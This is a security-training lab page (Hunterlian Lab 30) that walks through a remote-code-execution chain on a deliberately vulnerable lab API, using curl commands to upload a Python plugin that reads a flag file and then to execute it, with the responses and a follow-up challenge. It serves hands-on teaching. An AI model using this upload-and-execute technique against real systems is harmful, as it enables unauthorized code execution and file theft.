Remote Code Execution · Lab 30
Lab 30 Module 5 Hard

Remote Code Execution

RCE is the highest-impact vulnerability. It means an attacker can run any code on the server. In real systems, it is almost always the last link in a chain — an injection, a deserialization flaw, a template bug. In this lab, the chain is short: a file upload that executes, plus a way to trigger it.

The rule: the site runs a small plugin system. You can register a plugin by name and it loads. The plugin directory is outside the web root, but the upload feature can write there. Your job is to combine the two — upload a plugin, then execute it — and get the flag.

Test

Copy these. Run them. Read what comes back.

Step 1 · Look at the plugin system

The app describes itself. Read the contract carefully.

Terminal
curl -s "{LAB_API_BASE}/api/30/info"

What you'll see:

Response
{
  "upload": "/api/30/upload",
  "plugins": "/api/30/plugins",
  "run": "/api/30/run?plugin=",
  "plugin_dir": "/srv/app/plugins",
  "note": "plugin_dir is not served over HTTP"
}

Three endpoints: upload, list plugins, run a plugin. The plugin directory is /srv/app/plugins, and the note says it is not served over HTTP. That is correct — the upload endpoint is, and the two connect.

Step 2 · List the existing plugins

Look at what plugins the server already has.

Terminal
curl -s "{LAB_API_BASE}/api/30/plugins"

What you'll see:

Response
{
  "plugins": [
    "hello",
    "math",
    "clock"
  ]
}

Three plugins. Run one to confirm it works.

Terminal
curl -s "{LAB_API_BASE}/api/30/run?plugin=hello"

What you'll see:

Response
{
  "plugin": "hello",
  "output": "Hello from a Hunterlian plugin."
}

The server loads the plugin file and executes it. That is RCE by design — the question is what you can make it load.

Step 3 · Upload a malicious plugin

The upload endpoint stores files. The plugin run endpoint loads files from the plugin directory. If those two directories are the same, or the upload writes a symlink, the chain is complete. In this lab, the upload accepts a .py file and stores it in the plugin directory. Upload one that reads the flag.

Terminal
cat > loot.py <<'EOF'
print(open('/srv/flag.txt').read())
EOF

curl -s -X POST "{LAB_API_BASE}/api/30/upload" \
  -F "file=@loot.py"

What you'll see:

Response
{
  "ok": true,
  "name": "loot.py",
  "stored_at": "/srv/app/plugins/loot.py"
}

Uploaded and stored in the plugin directory. Now run it.

Terminal
curl -s "{LAB_API_BASE}/api/30/run?plugin=loot"

What you'll see:

Response
{
  "plugin": "loot",
  "output": "HL{r3m0t3_c0d3_3x3cut10n}"
}

The plugin executed and returned the flag. You uploaded code and the server ran it — that is RCE. In a real system this means full control: read every file, connect to every internal service, exfiltrate everything. Here, it means the flag.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

The plugin endpoint now blocks the word sh in the file extension — so .sh and .bash are refused. But it still accepts .py, and the runner executes Python plugins too.

Upload a .py file named solve.py with contents: print(open('/srv/deep.txt').read()). Run it. The flag is in the response.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 30 — Remote Code Execution

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →